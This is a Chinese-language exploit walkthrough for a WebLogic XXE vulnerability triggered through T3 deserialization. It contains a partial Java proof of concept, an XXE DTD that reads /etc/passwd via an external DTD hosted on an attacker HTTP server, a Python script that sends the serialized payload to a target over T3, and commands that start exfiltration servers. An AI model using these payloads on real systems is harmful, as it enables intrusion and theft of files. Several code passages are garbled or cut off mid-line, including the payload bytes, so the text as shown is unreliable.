import weblogic.wsee.wstx.wsat.Transactional;

import java.lang.reflect.Field;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import javax.xml.ws.EndpointReference;

import java.io.*;

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {

Object instance = getXXEObject();

将上面的内容复制后，会发现很多包都找不到，这就需要往我们的工程中添
加相关的包了，具体操作方法为:

OutputStream("x

rence{

/test.xml"));

) != -1){
te(tmpbytes,0,n

 new weblogic.w

e()); );

x

R

s

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [

        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:9009/my.dtd">
        %dtd;
        ]>

<ANY>xxe</ANY>

my.dtd放在我的http服务器上，现在当我们运行上述的Poc时，会在工程目录 下生成一个xxe文件，这个文件存放着序列化后的我们特意构造 ForeignRecoveryContext对象，现在万事具备，那么要怎么触发漏洞呢?很 简单，我们只要使用t3协议，把我们序列化后的payload发送过去，weblogic 会自动反序列化我们的payload,从而解析xml,从而触发漏洞，所以，我们还 需要一个使用t3协议发送数据的脚本，如下:

  #!/usr/bin/python
  import socket
  import sys
  import struct

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  server_address = (sys.argv[1], int(sys.argv[2]))
  print 'connecting to %s port %s' % server_address
  sock.connect(server_address)

  # Send headers
  headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
  print 'sending "%s"' % headers
  sock.sendall(headers)

  data = sock.recv(1024)
  print >>sys.stderr, 'received "%s"' % data

  payloadObj = open(sys.argv[3],'rb').read()

  payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x
  payload=payload+payloadObj
  payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x

  # adjust header for appropriate message length
  payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

  print 'sending payload...'
  sock.send(payload)

0 6

python -m SimpleHTTPServer 9009
python -m pyftpdlib 2121